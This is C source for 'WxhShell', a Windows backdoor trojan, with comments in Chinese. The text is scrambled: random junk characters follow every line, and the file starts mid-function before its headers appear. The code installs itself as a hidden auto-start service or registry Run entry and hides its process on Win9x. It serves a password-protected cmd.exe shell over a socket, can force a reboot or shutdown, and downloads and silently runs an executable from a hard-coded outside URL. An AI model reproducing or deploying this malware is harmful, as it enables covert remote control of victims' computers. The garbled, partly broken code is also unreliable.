    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p:NIRs  
    else { GY t|[GC  
    closesocket(wsh); ,<(0T$o E[  
    ExitThread(0); ],~H3u=s3  
    } h'nXV{N0  
    break; 8B`w!@hf  
    } Fhrj$  
  // 获取shell ~H c5M5m  
  case 's': { tfCK^{  
    CmdShell(wsh); (PC)R9r5  
    closesocket(wsh); 2EH0d6nt  
    ExitThread(0); fm0]nT   
    break; #F=!g?  
  } 5{xK&[wR*  
  // 退出 #9glGPR(  
  case 'x': { +-!2nk`"a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l*w*e.ezQ  
    CloseIt(wsh); h e[2,  
    break; 4;2  
    } !%'"l{R  
  // 离开 8AJ#].q0F  
  case 'q': { Ys0N+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n5 2Q-6H  
    closesocket(wsh); #OlPnP2  
    WSACleanup(); "s.hO0Z  
    exit(1); [Y4Wm?  
    break; Z,oCkv("n  
        } I8/tD|3  
  } c2u*<x  
  } {G+iobQdd  
9S|a!9J  
  // 提示信息 []$L"?]0uk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  u]OYu  
} +~V)&6Vn  
  } IuY4R0Go  
&^7(?C' u  
  return; Qd/x{a8  
} 4" pU\g  
M0$_x~  
// shell模块句柄 d2?#&d'aq  
int CmdShell(SOCKET sock) sp&gw XPG  
{ ]*hH.ZBY"^  
STARTUPINFO si; Pj1k?7  
ZeroMemory(&si,sizeof(si)); F_Gc_eT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RF= $SMTk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^ X-6j[".  
PROCESS_INFORMATION ProcessInfo; OtbPr F5  
char cmdline[]="cmd"; ^fQa whub  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uD?Rs`  
  return 0; _3IRj=Cs  
} w6h*dh$w  
IgN^~ag`  
// 自身启动模式 ;Z9(ll:<$  
int StartFromService(void) )b1X6w[  
{ J$U_/b.mk  
typedef struct \YSprXe  
{ 1H?I?IT30  
  DWORD ExitStatus; } ,@ex  
  DWORD PebBaseAddress; fDRG+/q(+  
  DWORD AffinityMask; F5y&"Y_  
  DWORD BasePriority; 6 ZAZJn|  
  ULONG UniqueProcessId; Yd(<;JKF[  
  ULONG InheritedFromUniqueProcessId; CQPq5/@Y4  
}   PROCESS_BASIC_INFORMATION; XE]"RD<z  
\&l@rMD3s  
PROCNTQSIP NtQueryInformationProcess; B3<sSe8L0  
~e&O?X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A&A{Thz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~9PZ/( '  
xE{slDl  
  HANDLE             hProcess; D/afa8>LQH  
  PROCESS_BASIC_INFORMATION pbi; eM@xs<BR  
91-[[<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tAPf#7{|   
  if(NULL == hInst ) return 0; !;4Hh)2  
v o4U%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mL-6+pJ@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oQ A,57B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q/q>mN"#1  
B}"V.Msv/  
  if (!NtQueryInformationProcess) return 0; <'QI_mP*  
)}P/xY0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l&*= .Zc7!  
  if(!hProcess) return 0; ^]D+H9Tl  
Sx8C<S5r<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MxH |yo[  
"lrQC`?  
  CloseHandle(hProcess); ^ FM  
7?D?s!%\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >=:^N-a  
if(hProcess==NULL) return 0; _Ie:!q  
sm;kg=  
HMODULE hMod; dtE"1nR  
char procName[255]; NwxDxIIH/)  
unsigned long cbNeeded; '\GU(j  
1:r#m- \  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _u'y7-  
! ,0  
  CloseHandle(hProcess); tLxeq?Oo]  
Wffz&pR8  
if(strstr(procName,"services")) return 1; // 以服务启动 &E1m{gB(  
Y;'SD{On  
  return 0; // 注册表启动 $}'(%\7"  
} Zu<S<??Jf  
-w>ss&  
// 主模块 d"n"A?nXh  
int StartWxhshell(LPSTR lpCmdLine) (tX)r4VU  
{ 0yvp>{;p  
  SOCKET wsl; :wN !E{0j  
BOOL val=TRUE; 1Vx5tOq  
  int port=0; D1 $ER>  
  struct sockaddr_in door; ~L>86/hP,N  
0m=57c$O  
  if(wscfg.ws_autoins) Install(); n @,.  
CxN xb)c &  
port=atoi(lpCmdLine); 4UUbX  
#a2gRg  
if(port<=0) port=wscfg.ws_port; ($>m]|  
->X>h_k.Y  
  WSADATA data; \*Yr&Lm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lD, ~%  
"vT$?IoEV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?D6|~k i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^ g|VZN  
  door.sin_family = AF_INET; ~@)s)K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !A1~{G2VL_  
  door.sin_port = htons(port); ? |#dGk g  
*G7cF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P -nhG  
closesocket(wsl); mU~&oU  
return 1; N'-[>w7vK2  
} U$<" . q  
&r~s3S{pQ  
  if(listen(wsl,2) == INVALID_SOCKET) { QQ_7Q^  
closesocket(wsl); H9PnJr8 \  
return 1; 1q@R04i  
} 4P"bOt5izR  
  Wxhshell(wsl);  jr_z ?  
  WSACleanup(); f0j]!g  
"*.N'J\  
return 0; GmaNi  
lG Bg8/[  
} #9Jr?K43  
n>R(e>  
// 以NT服务方式启动 O`@- b#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =<#G~8WYz  
{ U4^c{KWS  
DWORD   status = 0; tXH;4K@  
  DWORD   specificError = 0xfffffff; lixM0  
cJv/)hRaz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]@b9m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -B9e&J {K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RRB=JP{r  
  serviceStatus.dwWin32ExitCode     = 0; G}^=(,jl  
  serviceStatus.dwServiceSpecificExitCode = 0; P"l'? `  
  serviceStatus.dwCheckPoint       = 0; Je6wio- 4  
  serviceStatus.dwWaitHint       = 0;  qT!lq  
`}KxzD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w/ (c}%v}=  
  if (hServiceStatusHandle==0) return; '"\'<>Be  
eBs.RR ]O  
status = GetLastError(); \wk;Bo  
  if (status!=NO_ERROR) =JgR c7  
{ R ZQH#+*t}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 80_w_i+  
    serviceStatus.dwCheckPoint       = 0; QnD8L.Dg  
    serviceStatus.dwWaitHint       = 0; _@!vF,Wcf  
    serviceStatus.dwWin32ExitCode     = status; &Cv  
    serviceStatus.dwServiceSpecificExitCode = specificError; Um 6}h@>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lZ.lf.{F  
    return; TH'8^wf  
  } [A/2 Ms  
X-_VuM_p  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l>b'b e9  
  serviceStatus.dwCheckPoint       = 0; .=TXi<8Brw  
  serviceStatus.dwWaitHint       = 0;  \20} /&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0VSIyG_Z  
} GT)7VFrL  
@$n $f  
// 处理NT服务事件,比如:启动、停止 !CcDA/0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yDKH;o  
{ 7/51_=%kR  
switch(fdwControl) P1T {5u!T  
{ $x+7.%1m)~  
case SERVICE_CONTROL_STOP: NWvIwt{  
  serviceStatus.dwWin32ExitCode = 0; h=gtuaR4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GRbbU#/=G  
  serviceStatus.dwCheckPoint   = 0; SFd_k9  
  serviceStatus.dwWaitHint     = 0; `dG;SM$T,  
  { RuIBOo\XL7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BK+P  
  } H.4ISmXU  
  return; * 7Ov.v%  
case SERVICE_CONTROL_PAUSE: &C+2p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XLCqB|8`V  
  break; Z>bNU  
case SERVICE_CONTROL_CONTINUE: _!qD/ [/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; | U"fhG=g  
  break; rFpYlMct  
case SERVICE_CONTROL_INTERROGATE: @4T   
  break; ?x&}ammid  
}; jIT|Kk&]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qe{;EH*  
} 8I RKCuV  
n|&=6hiI  
// 标准应用程序主函数 #eOHe4Vt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,^8':X"A{!  
{ `1(ED= |  
_Ffg"xoC  
// 获取操作系统版本 " WQ6[;&V  
OsIsNt=GetOsVer(); ]zaTX?F:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IiqqdU]  
,o%by5j"^N  
  // 从命令行安装 V~j^   
  if(strpbrk(lpCmdLine,"iI")) Install(); %p )"_q!ge  
cMZy~>  
  // 下载执行文件 2SC-c `9)  
if(wscfg.ws_downexe) { M.t,o\xl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U|tacO5w`  
  WinExec(wscfg.ws_filenam,SW_HIDE); Od~uYOL/B  
} */aQ+%>jf  
G&^8)S@1  
if(!OsIsNt) { <i</pA  
// 如果时win9x,隐藏进程并且设置为注册表启动 qzbW0AM[M  
HideProc(); $.4A?,d  
StartWxhshell(lpCmdLine); L<@*6QH  
} e[u}Vf  
else bKM*4M=k  
  if(StartFromService()) C0N}B1-MU  
  // 以服务方式启动 O[t?*m1/  
  StartServiceCtrlDispatcher(DispatchTable); GkI'.  
else XdCP!iq*8  
  // 普通方式启动 E#:!&{O  
  StartWxhshell(lpCmdLine); b.RU%Y#>\  
/Tm+&Jd  
return 0; 2A~o)7JaZ  
} \]f+{d- &  
6_KvS  
GJcxqgk$  
l1k&@1"  
=========================================== tUx H 6IS  
9gw;MFP)D  
z+Fu{<#(  
Ut\:jV=f  
A/I\MN|  
0l[52eZ/  
" HL4=P,'  
3pvqF,"~D  
#include <stdio.h> 4!!PrXE  
#include <string.h> nL=+`aq_  
#include <windows.h> Yft [)id  
#include <winsock2.h> C}mhnU@  
#include <winsvc.h> ,H+Y1N4W(  
#include <urlmon.h> U[x$QG6m!  
4%~*}  
#pragma comment (lib, "Ws2_32.lib") >4luZnWMI  
#pragma comment (lib, "urlmon.lib") XN Uw  
i,<'AL )  
#define MAX_USER   100 // 最大客户端连接数 Itr 4 Pr  
#define BUF_SOCK   200 // sock buffer #%nV\ Bl  
#define KEY_BUFF   255 // 输入 buffer T,9q~*"  
S!u8JG1  
#define REBOOT     0   // 重启 6WZffB{-TK  
#define SHUTDOWN   1   // 关机 -V6caVlg  
[%bGs1U  
#define DEF_PORT   5000 // 监听端口 OgIRI8L  
mA$y$73=T  
#define REG_LEN     16   // 注册表键长度 ?j/FYi  
#define SVC_LEN     80   // NT服务名长度 |8CxMs  
_LwF:19Il  
// 从dll定义API \;~Nj#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3JQ7Cc>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 46D`h!7L  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u~M$<|;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o0`']-)*2  
6?[P^{GpH  
// wxhshell配置信息 IxuK<Oe:O  
struct WSCFG { rIFW1`N}i  
  int ws_port;         // 监听端口 %p  
  char ws_passstr[REG_LEN]; // 口令 5Z_C (5)/Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no zTB&Wlt  
  char ws_regname[REG_LEN]; // 注册表键名 ?ld&}|W~  
  char ws_svcname[REG_LEN]; // 服务名 oMg-.!6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gl'G;F$Y-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W/BPf{U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;]grbqXVE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 41Q 5%2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =9ff9 83  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8k-]u3  
e7"T37  
}; X$6NJ(2G  
2T+-[}*  
// default Wxhshell configuration ^4 $4x  
struct WSCFG wscfg={DEF_PORT, i \NV<I  
    "xuhuanlingzhe", 1xS+r)_n@  
    1, =AzPAN#e  
    "Wxhshell", 3A`]Rk   
    "Wxhshell", =U*D.p*%f  
            "WxhShell Service", i#b/.oa  
    "Wrsky Windows CmdShell Service", a-|pSe*rx  
    "Please Input Your Password: ", k/{WlLN  
  1, \7b, Mz!  
  "http://www.wrsky.com/wxhshell.exe", gC2}?nq*  
  "Wxhshell.exe" 3E;@.jD  
    }; KHZ[drb6$  
.kU^)H" l  
// 消息定义模块 $|g1 _;(G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~) _Nh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lj}3TbM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b/a\{  
char *msg_ws_ext="\n\rExit."; /lUfxc4  
char *msg_ws_end="\n\rQuit."; F|> 3gW  
char *msg_ws_boot="\n\rReboot..."; G!$~'o%/  
char *msg_ws_poff="\n\rShutdown..."; 3ArHaAv{y  
char *msg_ws_down="\n\rSave to "; FulFEnSV  
A{q%sp:3~  
char *msg_ws_err="\n\rErr!"; ,o n]Fts  
char *msg_ws_ok="\n\rOK!"; W{'hn&vU  
Z qn$>mG-  
char ExeFile[MAX_PATH]; 7P3pjgh  
int nUser = 0; @U=y}vi8  
HANDLE handles[MAX_USER]; %r1#G.2YW  
int OsIsNt; &,G2<2_b  
ZH\t0YhrVe  
SERVICE_STATUS       serviceStatus; (4 ZeyG@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :lo5,B;k  
lFt!  
// 函数声明 N8Rq7i3F?a  
int Install(void); *nU5PSs  
int Uninstall(void); 0yC~"u[N Y  
int DownloadFile(char *sURL, SOCKET wsh); `.pEI q^  
int Boot(int flag); ! 1I# L!9  
void HideProc(void); )  M0(vog  
int GetOsVer(void); Q /?`);  
int Wxhshell(SOCKET wsl); &v .S_Ym  
void TalkWithClient(void *cs); L>IP!.J]?  
int CmdShell(SOCKET sock); w;ZT-Fti  
int StartFromService(void); <}[ !k<  
int StartWxhshell(LPSTR lpCmdLine); jw{N#QDh  
`ZEFH7P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;]1t| td8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c6vJ;iz  
}nPt[77U_7  
// 数据结构和表定义 *$%~/Q@]  
SERVICE_TABLE_ENTRY DispatchTable[] = *d=}HO/  
{ ^yB]_*WJ  
{wscfg.ws_svcname, NTServiceMain}, D%o(HS\E  
{NULL, NULL} x+4K,r;  
}; |x1OWm1:<  
t'eu>a1D  
// 自我安装 i kfJ!f  
int Install(void) K_L7a>Fr  
{ $7AsMlq[(  
  char svExeFile[MAX_PATH]; ,V 52Fj  
  HKEY key; Cydo~/  
  strcpy(svExeFile,ExeFile); u|}\Af  
u~uz=Yse  
// 如果是win9x系统,修改注册表设为自启动 L@T/4e./  
if(!OsIsNt) { #1$4<o#M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZPw4S2yw3.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WMC^G2 n  
  RegCloseKey(key); 3G4WKg.^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1W >/4l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h?dSn:Y\?  
  RegCloseKey(key); heIys.p  
  return 0; D+uo gRS61  
    } v[uVAbfQ  
  } j;}-x1R  
} s:6K'*  
else { jGo%Aase  
! N2uJ?t  
// 如果是NT以上系统,安装为系统服务 )x\%*ewY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Xk|a%%O*H  
if (schSCManager!=0) i/_rz.c~3  
{ f91]0B `C  
  SC_HANDLE schService = CreateService 9{fP.ifdv7  
  ( TW& s c9  
  schSCManager, #\X)|p2  
  wscfg.ws_svcname, }bw^p.ci  
  wscfg.ws_svcdisp, -S]ercar  
  SERVICE_ALL_ACCESS, k0j4P^d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $=\=80u/  
  SERVICE_AUTO_START, ]*a(^*}A%  
  SERVICE_ERROR_NORMAL, 0O'M^[=d.8  
  svExeFile, #0r^<Yn  
  NULL, {'zS8  
  NULL,  )XonFI  
  NULL, r&R~a9+)  
  NULL, cu}(\a  
  NULL UUWRC1EtI  
  ); >b\|%=(x!*  
  if (schService!=0) v0) %S  
  { E!}'cxb^  
  CloseServiceHandle(schService); -<x%  
  CloseServiceHandle(schSCManager); o0No"8DnjH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l,Q`;v5|  
  strcat(svExeFile,wscfg.ws_svcname); 31^/9lb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 90+Vw`Gz=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +arh/pd_I  
  RegCloseKey(key);  j7_,V?5z  
  return 0; r+%3Y:dZE  
    }  =AaF$R  
  } JQbaD-  
  CloseServiceHandle(schSCManager); Nt\07*`qCr  
} -]KgLgJ  
} 4Wz1O$*  
? 3DFm  
return 1; 5u9lKno  
} c(Y~5A{TXO  
m %+'St|qr  
// 自我卸载 :1f,%Z$,q  
int Uninstall(void) 4IZAJqw(*  
{ _s#J\!F  
  HKEY key; WVQHb3Pe0  
lW-G]V  
if(!OsIsNt) { A ,0}bFK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Hvz;[!  
  RegDeleteValue(key,wscfg.ws_regname); %fld<O  
  RegCloseKey(key); _gK}Gi?|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZJbaioc\  
  RegDeleteValue(key,wscfg.ws_regname); -{*3<2rFK  
  RegCloseKey(key); ]+ub R;  
  return 0; 1^NC=IS9z  
  } BIMX2.S1o  
} [YlRz  
} $H@   
else { oAN,_1v)  
p Cx_[#DrP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EK>x\]O%T  
if (schSCManager!=0) `>KNa"b%$  
{ &'e+`\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T)22P<M8  
  if (schService!=0) FB?V<x  
  { uh 9b!8  
  if(DeleteService(schService)!=0) { V 7~9z\lW  
  CloseServiceHandle(schService); z I9jxwXU  
  CloseServiceHandle(schSCManager); ysp,:)-%G@  
  return 0; fMf;  
  } s3ASA.*  
  CloseServiceHandle(schService); bp8sZK"z  
  } dh{py  
  CloseServiceHandle(schSCManager); Da! fwth  
} p79QEIbk=  
} (@T{ [\  
5R.jhYAj  
return 1; #%GBopv  
} kQ\l7xd  
o\tw)_ >  
// 从指定url下载文件 s!gVY!0  
int DownloadFile(char *sURL, SOCKET wsh) H]V(qq{  
{ r!{i2I|  
  HRESULT hr; _{if"  
char seps[]= "/"; (F;*@Z*R  
char *token; 1F0];{a  
char *file; 56c3tgVF  
char myURL[MAX_PATH]; Pj56,qd>s  
char myFILE[MAX_PATH]; - ]We|{  
}n^}%GB  
strcpy(myURL,sURL); _,F\%}  
  token=strtok(myURL,seps); @ajdO/?(Y  
  while(token!=NULL) b-`P-  
  { XOS^&;  
    file=token; Vd.XZ*}r*  
  token=strtok(NULL,seps); 7Fa<m]k  
  } GdScYAC   
"7(@I^'t6  
GetCurrentDirectory(MAX_PATH,myFILE); 0:`YY 8j1k  
strcat(myFILE, "\\"); es69P)  
strcat(myFILE, file); "E5=AW d  
  send(wsh,myFILE,strlen(myFILE),0); 'Q7t5v@FF  
send(wsh,"...",3,0); jfvlkE-uK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |d42?7}  
  if(hr==S_OK) Kzt:rhiB  
return 0; rmX5-k  
else FbdC3G|oA  
return 1; 4,)QV_?  
# NK{]H$fd  
} #"C* dNAB  
ZS3T1 <z  
// 系统电源模块 o+^e+ptc  
int Boot(int flag) +N~{6*@uz,  
{  ^LSD_R^N  
  HANDLE hToken; %0815 5M  
  TOKEN_PRIVILEGES tkp; <T'fJcR  
b5|l8<\  
  if(OsIsNt) { [m x}n+~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); - 3<&sTR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /'v!{m  
    tkp.PrivilegeCount = 1; `x L@%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yYaYuf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )zP"Uuu  
if(flag==REBOOT) { Z>NA 9:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F')E)tV  
  return 0; \"yR[.Q?   
} EO",|V-  
else { O9N%dir  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S]&i<V1qX  
  return 0; f .h$jyp(  
} BNJG-b|g^  
  } "1P2`Ep;  
  else { _ -ec(w~/  
if(flag==REBOOT) { `Sj8IxO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Frhm4H%,_R  
  return 0; bx".<q(  
} hg+;!|ha  
else { N7s9"i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k[1[Y{n.  
  return 0; s, #$o3  
} <dk9n}y<,  
} aO<H!hK  
cwUor}<|  
return 1; !VfVpi+-  
} ryd}-_LL  
`AdHyE  
// win9x进程隐藏模块 ybB<AkYc  
void HideProc(void) d?CU+=A&|  
{ wz:w6q  
}u5J<*:bZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7w0=i Z>K  
  if ( hKernel != NULL ) ,.gI'YPQC  
  { 4x/u$Ixzh=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H/G;hk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3bugVJ9 3  
    FreeLibrary(hKernel); )4+uM'2%  
  } J2`OJsMwWe  
O_SM!!,  
return; 1@<>GDB9  
} B7'2@+(  
/hyCR___  
// 获取操作系统版本 Ga *  
int GetOsVer(void) aUBu"P$J  
{ `\-MpNw  
  OSVERSIONINFO winfo; 6z67%U*8r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cja-MljD  
  GetVersionEx(&winfo); lo >:S1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4MgG]  
  return 1; } M\G  
  else wK%x|%R[  
  return 0; 'Cywn^Ym#  
} -g vS 3`lX  
Od]wh  
// 客户端句柄模块 Y9(BxDP_+Y  
int Wxhshell(SOCKET wsl) ewinG-hX_  
{ t2%gS" [  
  SOCKET wsh; IG@@CH  
  struct sockaddr_in client; (b1rd  
  DWORD myID; X`daaG_l  
W!Rr_'yFe)  
  while(nUser<MAX_USER) ,Hsu ;I~  
{ ~U4;YlQP  
  int nSize=sizeof(client); 0k|/]zfb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DZ;2aH  
  if(wsh==INVALID_SOCKET) return 1; (WS<6j[q  
SYK?5_804  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (pQ$<c  
if(handles[nUser]==0) ^m^,:]I0P  
  closesocket(wsh); O$peCv   
else S>?B)  
  nUser++; *WXqN!:  
  } yz=6 V%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]GHx<5Q:\  
i0&] Ig|;  
  return 0; [6Nzz]yy  
} i>rsq[l  
; >>/}Jw\  
// 关闭 socket P,Rqv)}X  
void CloseIt(SOCKET wsh) |.U- yyz  
{ ,%]s:vk[u  
closesocket(wsh); 0EP8MRSR  
nUser--; c\eT`.ENk  
ExitThread(0); M7IQJFra  
} DWJkN4}o  
/K#J63 ,  
// 客户端请求句柄 ]G2%VKkr  
void TalkWithClient(void *cs) C}mWX7<Z.  
{ e%DF9}M  
_:;j)J0  
  SOCKET wsh=(SOCKET)cs; d`Em) 3v  
  char pwd[SVC_LEN]; b(gcnSzM2  
  char cmd[KEY_BUFF]; m-!z(vcn  
char chr[1]; ]r1 C  
int i,j; 2$%0~Z5  
\~q cYp  
  while (nUser < MAX_USER) { o!t1EPJE*  
-wV0Nv(V8  
if(wscfg.ws_passstr) {  wZUR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3H47 vm(`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [ w1"  
  //ZeroMemory(pwd,KEY_BUFF); \ 8X8N CM  
      i=0; (vf5qF^  
  while(i<SVC_LEN) { FwGMrJW  
c'6$`nC  
  // 设置超时 F1o"H/:n  
  fd_set FdRead; ?rH=<#@  
  struct timeval TimeOut; > 'KQL?!F  
  FD_ZERO(&FdRead); #8jH_bi  
  FD_SET(wsh,&FdRead); \OXKK<^$uK  
  TimeOut.tv_sec=8; }GTy{Y*&  
  TimeOut.tv_usec=0; 3/hAxd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0=J69Yd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U_,K_6vj  
&U/~*{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QCWk[Gx  
  pwd=chr[0]; cM'5m  
  if(chr[0]==0xd || chr[0]==0xa) { =8fZG t  
  pwd=0; dQL! >6a  
  break; OG}D;Ew  
  } QWGFXy,=1  
  i++; w]0jq U6  
    } gBG.3\[  
S\UM0G}v  
  // 如果是非法用户,关闭 socket J#W>%2 "s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &hYjQ&n  
} )Z 3fytY  
Qmh*Gh? v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wbId}!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WH$ Ls('  
oYN# T=Xi  
while(1) { 62LQUl]<  
xX.Ox  
  ZeroMemory(cmd,KEY_BUFF); Mhw\i&*U  
8Lpy`He  
      // 自动支持客户端 telnet标准   Zb#  
  j=0; \:?H_^^ d  
  while(j<KEY_BUFF) { G1'w50Yu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a[8_ O-   
  cmd[j]=chr[0]; @]h#T4z'  
  if(chr[0]==0xa || chr[0]==0xd) { AH], >i3  
  cmd[j]=0; *H RxC  
  break; :PaFC{O)*  
  } ),6Z1 K1  
  j++; c$'UfW  
    } *WgP+"h  
&WHEPdD  
  // 下载文件 6%_d m'  
  if(strstr(cmd,"http://")) { U-s6h;^ O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z [5HI;  
  if(DownloadFile(cmd,wsh)) n{Mj<\kL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Qq$ql27  
  else Q\:'gx8`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h OboM3_  
  } z[ ;{p.W  
  else {  . yu  
(<.1o_Q-LU  
    switch(cmd[0]) { +T^m  
  WiviH#hF  
